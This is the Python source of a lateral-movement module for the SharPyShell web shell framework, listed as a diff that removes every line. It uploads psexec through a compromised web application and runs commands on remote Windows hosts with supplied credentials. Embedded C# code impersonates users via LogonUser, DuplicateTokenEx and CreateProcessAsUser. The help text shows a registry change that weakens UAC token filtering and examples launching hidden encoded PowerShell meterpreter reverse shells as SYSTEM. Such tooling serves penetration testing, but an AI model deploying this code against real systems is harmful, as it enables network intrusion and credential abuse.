1 | | - | from core import config |
2 | | - | from core.Module import Module, ModuleException |
3 | | - | from modules.upload import Upload |
4 | | - | from utils.random_string import random_generator |
5 | | - | import traceback |
6 | | - | |
7 | | - | |
8 | | - | class LateralPsexecModuleException(ModuleException): |
9 | | - | pass |
10 | | - | |
11 | | - | |
12 | | - | class Lateral_psexec(Module): |
13 | | - | _exception_class = LateralPsexecModuleException |
14 | | - | short_help = "Run psexec binary to move laterally" |
15 | | - | complete_help = r""" |
16 | | - | This module upload and run the psexec binary in order to launch commands on a remote windows system. |
17 | | - | This will result in a lateral movement if shared credentials are known. |
18 | | - | |
19 | | - | Note that if you use local users credentials you should ensure that, on the target server, the feature |
20 | | - | "LocalAccountTokenFilterPolicy" is disabled. |
21 | | - | To disable that you need to add the following regkey with the value of 1: |
22 | | - | |
23 | | - | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy |
24 | | - | |
25 | | - | example command: |
26 | | - | reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f |
27 | | - | |
28 | | - | If you use domain users for the lateral movement, no restrictions to the process token will be applied. |
29 | | - | |
30 | | - | This module should be run from a privileged user. |
31 | | - | If the application pool within the web application you are interacting with is run with application pool |
32 | | - | identity account or any limited account you won't be able to move laterally to other systems |
33 | | - | due to restrictions applied to the user. |
34 | | - | In those cases, you need to use different credentials of a more privileged user in order to launch this module. |
35 | | - | |
36 | | - | Usage: |
37 | | - | #lateral_psexec target_ip username password command [runas_system] [local_user] [local_password] [local_domain] |
38 | | - | |
39 | | - | Positional arguments: |
40 | | - | target_ip the ip of the remote server |
41 | | - | username username of the user to use to login on the target server |
42 | | - | you can specify domain\username if user is in a domain |
43 | | - | password password of the user to use to login on the target server |
44 | | - | command a command compatible by cmd.exe |
45 | | - | [runas_system] if set to 'true', it will try to run psexec as system on the target remote server |
46 | | - | Default: 'false' |
47 | | - | [local_user] the username of a local user with privileged rights |
48 | | - | [local_password] the password of a local user with privileged rights |
49 | | - | [local_domain] the domain of a local user with privileged rights |
50 | | - | |
51 | | - | Examples: |
52 | | - | Lateral movement as privileged current application pool user, output to local shared resource: |
53 | | - | #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192.168.56.101\everyone\output.txt' |
54 | | - | Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd): |
55 | | - | #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'local_privileged_user1' 'local_privileged_password1' |
56 | | - | Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd): |
57 | | - | #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1' |
58 | | - | Lateral movement as privileged domain user and as SYSTEM on remote machine using meterpreter http reverse shell (format psh-cmd): |
59 | | - | #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'true' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1' |
60 | | - | |
61 | | - | """ |
62 | | - | |
63 | | - | _runtime_code = ur""" |
64 | | - | using System;using System.IO;using System.Diagnostics;using System.Text; |
65 | | - | public class SharPyShell |
66 | | - | { |
67 | | - | string LateralPsexec(string psexec_path, string arg, string working_path) |
68 | | - | { |
69 | | - | ProcessStartInfo pinfo = new ProcessStartInfo(); |
70 | | - | pinfo.FileName = psexec_path; |
71 | | - | pinfo.Arguments = arg; |
72 | | - | pinfo.RedirectStandardOutput = true; |
73 | | - | pinfo.RedirectStandardError = true; |
74 | | - | pinfo.UseShellExecute = false; |
75 | | - | pinfo.WorkingDirectory = working_path; |
76 | | - | Process p = new Process(); |
77 | | - | try{ |
78 | | - | p = Process.Start(pinfo); |
79 | | - | } |
80 | | - | catch (Exception e){ |
81 | | - | return "{{{SharPyShellError}}}\n" + e; |
82 | | - | } |
83 | | - | StreamReader stmrdr_output = p.StandardOutput; |
84 | | - | StreamReader stmrdr_errors = p.StandardError; |
85 | | - | string output = ""; |
86 | | - | string stand_out = stmrdr_output.ReadToEnd(); |
87 | | - | string stand_errors = stmrdr_errors.ReadToEnd(); |
88 | | - | stmrdr_output.Close(); |
89 | | - | stmrdr_errors.Close(); |
90 | | - | if (!String.IsNullOrEmpty(stand_out)) |
91 | | - | output = output + stand_out; |
92 | | - | if (!String.IsNullOrEmpty(stand_errors)) |
93 | | - | output = output + "\n\n" + stand_errors + "\n"; |
94 | | - | return output; |
95 | | - | } |
96 | | - | |
97 | | - | public byte[] ExecRuntime() |
98 | | - | { |
99 | | - | string output_func=LateralPsexec(@"%s", @"%s", @"%s"); |
100 | | - | byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); |
101 | | - | return(output_func_byte); |
102 | | - | } |
103 | | - | } |
104 | | - | """ |
105 | | - | |
106 | | - | _runtime_code_runas = ur""" |
107 | | - | using System;using System.IO;using System.Diagnostics;using System.Text; |
108 | | - | using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution; |
109 | | - | |
110 | | - | public class SharPyShell |
111 | | - | { |
112 | | - | public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid |
113 | | - | { |
114 | | - | private SafeTokenHandle() |
115 | | - | : base(true) |
116 | | - | { |
117 | | - | } |
118 | | - | |
119 | | - | [DllImport("kernel32.dll")] |
120 | | - | [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] |
121 | | - | [SuppressUnmanagedCodeSecurity] |
122 | | - | [return: MarshalAs(UnmanagedType.Bool)] |
123 | | - | private static extern bool CloseHandle(IntPtr handle); |
124 | | - | |
125 | | - | protected override bool ReleaseHandle() |
126 | | - | { |
127 | | - | return CloseHandle(handle); |
128 | | - | } |
129 | | - | } |
130 | | - | |
131 | | - | [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO |
132 | | - | { |
133 | | - | public int cb; |
134 | | - | public String lpReserved; |
135 | | - | public String lpDesktop; |
136 | | - | public String lpTitle; |
137 | | - | public uint dwX; |
138 | | - | public uint dwY; |
139 | | - | public uint dwXSize; |
140 | | - | public uint dwYSize; |
141 | | - | public uint dwXCountChars; |
142 | | - | public uint dwYCountChars; |
143 | | - | public uint dwFillAttribute; |
144 | | - | public uint dwFlags; |
145 | | - | public short wShowWindow; |
146 | | - | public short cbReserved2; |
147 | | - | public IntPtr lpReserved2; |
148 | | - | public IntPtr hStdInput; |
149 | | - | public IntPtr hStdOutput; |
150 | | - | public IntPtr hStdError; |
151 | | - | } |
152 | | - | |
153 | | - | [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION |
154 | | - | { |
155 | | - | public IntPtr hProcess; |
156 | | - | public IntPtr hThread; |
157 | | - | public uint dwProcessId; |
158 | | - | public uint dwThreadId; |
159 | | - | } |
160 | | - | |
161 | | - | [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES |
162 | | - | { |
163 | | - | public int Length; |
164 | | - | public IntPtr lpSecurityDescriptor; |
165 | | - | public bool bInheritHandle; |
166 | | - | } |
167 | | - | |
168 | | - | [DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)] |
169 | | - | public static extern bool CloseHandle(IntPtr handle); |
170 | | - | |
171 | | - | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] |
172 | | - | public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken); |
173 | | - | |
174 | | - | [DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)] |
175 | | - | public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); |
176 | | - | |
177 | | - | [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")] |
178 | | - | public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle); |
179 | | - | |
180 | | - | [DllImport("kernel32.dll", SetLastError=true)] |
181 | | - | public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); |
182 | | - | |
183 | | - | const uint WAIT_ABANDONED = 0x00000080; |
184 | | - | const uint WAIT_OBJECT_0 = 0x00000000; |
185 | | - | const uint WAIT_TIMEOUT = 0x00000102; |
186 | | - | |
187 | | - | [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")] |
188 | | - | public string LateralPsexecRunas(string psexec_path, string userName, string password, string domainName, string psexec_arguments, string stdout_file, string stderr_file, string working_directory) |
189 | | - | { |
190 | | - | SafeTokenHandle safeTokenHandle; |
191 | | - | int logon_type = 4; |
192 | | - | uint process_ms_timeout = 60000; |
193 | | - | string output = ""; |
194 | | - | string error_string = "{{{SharPyShellError}}}"; |
195 | | - | try |
196 | | - | { |
197 | | - | const int LOGON32_PROVIDER_DEFAULT = 0; |
198 | | - | const int LOGON32_PROVIDER_WINNT35 = 1; |
199 | | - | const int LOGON32_PROVIDER_WINNT40 = 2; |
200 | | - | const int LOGON32_PROVIDER_WINNT50 = 3; |
201 | | - | bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle); |
202 | | - | if (false == returnValue) |
203 | | - | { |
204 | | - | output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error(); |
205 | | - | return output; |
206 | | - | } |
207 | | - | using (safeTokenHandle) |
208 | | - | { |
209 | | - | using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle())) |
210 | | - | { |
211 | | - | using (WindowsImpersonationContext impersonatedUser = newId.Impersonate()) |
212 | | - | { |
213 | | - | IntPtr Token = new IntPtr(0); |
214 | | - | IntPtr DupedToken = new IntPtr(0); |
215 | | - | bool ret; |
216 | | - | SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); |
217 | | - | sa.bInheritHandle = false; |
218 | | - | sa.Length = Marshal.SizeOf(sa); |
219 | | - | sa.lpSecurityDescriptor = (IntPtr)0; |
220 | | - | Token = WindowsIdentity.GetCurrent().Token; |
221 | | - | const uint GENERIC_ALL = 0x10000000; |
222 | | - | const int SecurityImpersonation = 2; |
223 | | - | const int TokenType = 1; |
224 | | - | ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken); |
225 | | - | if (ret == false){ |
226 | | - | output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error(); |
227 | | - | return output; |
228 | | - | } |
229 | | - | STARTUPINFO si = new STARTUPINFO(); |
230 | | - | si.cb = Marshal.SizeOf(si); |
231 | | - | si.lpDesktop = ""; |
232 | | - | string commandLinePath = ""; |
233 | | - | File.Create(stdout_file).Dispose(); |
234 | | - | File.Create(stderr_file).Dispose(); |
235 | | - | string cmd_path = commandLinePath = Environment.GetEnvironmentVariable("ComSpec"); |
236 | | - | commandLinePath = cmd_path + " /c " + psexec_path + " " + psexec_arguments + " >> " + stdout_file + " 2>>" + stderr_file; |
237 | | - | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); |
238 | | - | ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi); |
239 | | - | if (ret == false){ |
240 | | - | output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error(); |
241 | | - | return output; |
242 | | - | } |
243 | | - | else{ |
244 | | - | uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout); |
245 | | - | if(wait_for == WAIT_OBJECT_0){ |
246 | | - | string errors = File.ReadAllText(stderr_file); |
247 | | - | if (!String.IsNullOrEmpty(errors)) |
248 | | - | output += "\n" + errors; |
249 | | - | output += "\n" + File.ReadAllText(stdout_file); |
250 | | - | } |
251 | | - | else{ |
252 | | - | output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error(); |
253 | | - | } |
254 | | - | File.Delete(stdout_file); |
255 | | - | File.Delete(stderr_file); |
256 | | - | CloseHandle(pi.hProcess); |
257 | | - | CloseHandle(pi.hThread); |
258 | | - | } |
259 | | - | CloseHandle(DupedToken); |
260 | | - | } |
261 | | - | } |
262 | | - | } |
263 | | - | } |
264 | | - | catch (Exception ex) |
265 | | - | { |
266 | | - | output += error_string + "\nException occurred. " + ex.Message; |
267 | | - | return output; |
268 | | - | } |
269 | | - | return output; |
270 | | - | } |
271 | | - | |
272 | | - | public byte[] ExecRuntime() |
273 | | - | { |
274 | | - | string output_func=LateralPsexecRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s"); |
275 | | - | byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); |
276 | | - | return(output_func_byte); |
277 | | - | } |
278 | | - | } |
279 | | - | """ |
280 | | - | |
281 | | - | __default_runas_system = 'false' |
282 | | - | __default_local_user = '' |
283 | | - | __default_local_password = '' |
284 | | - | __default_local_domain = '' |
285 | | - | __psexec_code_arguments = ur'-accepteula \\%s -u ""%s"" -p ""%s"" %s cmd /c ""%s""' |
286 | | - | |
287 | | - | def __init__(self, password, channel_enc_mode, module_settings, request_object): |
288 | | - | Module.__init__(self, password, channel_enc_mode, module_settings, request_object) |
289 | | - | self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object) |
290 | | - | |
291 | | - | def __lookup_psexec_binary(self): |
292 | | - | if 'psexec.exe' in self._module_settings.keys(): |
293 | | - | bin_path = self._module_settings['psexec.exe'] |
294 | | - | else: |
295 | | - | exe_path = config.modules_paths + 'exe_modules/psexec.exe' |
296 | | - | remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe' |
297 | | - | print '\n\n\nUploading psexec binary....\n' |
298 | | - | upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path])) |
299 | | - | print upload_response |
300 | | - | self._module_settings['psexec.exe'] = remote_upload_path |
301 | | - | bin_path = remote_upload_path |
302 | | - | return bin_path |
303 | | - | |
304 | | - | def __run_as_current_user(self, psexec_path, psexec_code_arguments): |
305 | | - | request = self._create_request([psexec_code_arguments, psexec_path, 'current_user']) |
306 | | - | encrypted_request = self._encrypt_request(request) |
307 | | - | encrypted_response = self._post_request(encrypted_request) |
308 | | - | decrypted_response = self._decrypt_response(encrypted_response) |
309 | | - | return decrypted_response |
310 | | - | |
311 | | - | def __run_as(self, psexec_path, psexec_code_arguments, local_user, local_password, local_domain): |
312 | | - | request = self._create_request([[psexec_code_arguments, local_user, local_password, local_domain], |
313 | | - | psexec_path, 'runas']) |
314 | | - | encrypted_request = self._encrypt_request(request) |
315 | | - | encrypted_response = self._post_request(encrypted_request) |
316 | | - | decrypted_response = self._decrypt_response(encrypted_response) |
317 | | - | return decrypted_response |
318 | | - | |
319 | | - | def __parse_run_args(self, args): |
320 | | - | if len(args) < 4: |
321 | | - | raise self._exception_class('#lateral_psexec: Not enough arguments. 4 Arguments required.\n') |
322 | | - | args_parser = {k: v for k, v in enumerate(args)} |
323 | | - | target_ip = args_parser.get(0) |
324 | | - | username = args_parser.get(1) |
325 | | - | password = args_parser.get(2) |
326 | | - | command = args_parser.get(3) |
327 | | - | runas_system = args_parser.get(4, self.__default_runas_system) |
328 | | - | local_user = args_parser.get(5, self.__default_local_user) |
329 | | - | local_password = args_parser.get(6, self.__default_local_password) |
330 | | - | local_domain = args_parser.get(7, self.__default_local_domain) |
331 | | - | return target_ip, username, password, command, runas_system, local_user, local_password, local_domain |
332 | | - | |
333 | | - | def _create_request(self, args): |
334 | | - | arguments, psexec_path, request_type = args |
335 | | - | working_path = self._module_settings['working_directory'] |
336 | | - | if request_type == 'runas': |
337 | | - | psexec_code_arguments, local_user, local_password, local_domain = arguments |
338 | | - | stdout_file = self._module_settings['env_directory'] + '\\' + random_generator() |
339 | | - | stderr_file = self._module_settings['env_directory'] + '\\' + random_generator() |
340 | | - | request = self._runtime_code_runas % (psexec_path, local_user, local_password, local_domain, |
341 | | - | psexec_code_arguments, stdout_file, stderr_file, working_path) |
342 | | - | else: |
343 | | - | psexec_code_arguments = arguments |
344 | | - | request = self._runtime_code % (psexec_path, psexec_code_arguments, working_path) |
345 | | - | return request |
346 | | - | |
347 | | - | def run(self, args): |
348 | | - | try: |
349 | | - | target_ip, username, password, command, runas_system,\ |
350 | | - | local_user, local_password, local_domain = self.__parse_run_args(args) |
351 | | - | psexec_priv_flag = '-s' if runas_system == 'true' else '-h' |
352 | | - | psexec_code_arguments = self.__psexec_code_arguments % (target_ip, username, |
353 | | - | password, psexec_priv_flag, command) |
354 | | - | psexec_path = self.__lookup_psexec_binary() |
355 | | - | if local_user == '': |
356 | | - | response = self.__run_as_current_user(psexec_path, psexec_code_arguments) |
357 | | - | else: |
358 | | - | response = self.__run_as(psexec_path, psexec_code_arguments, local_user, local_password, local_domain) |
359 | | - | parsed_response = self._parse_response(response) |
360 | | - | except ModuleException as module_exc: |
361 | | - | parsed_response = str(module_exc) |
362 | | - | except Exception: |
363 | | - | parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\ |
364 | | - | str(traceback.format_exc()) |
365 | | - | return parsed_response |
366 | | - | |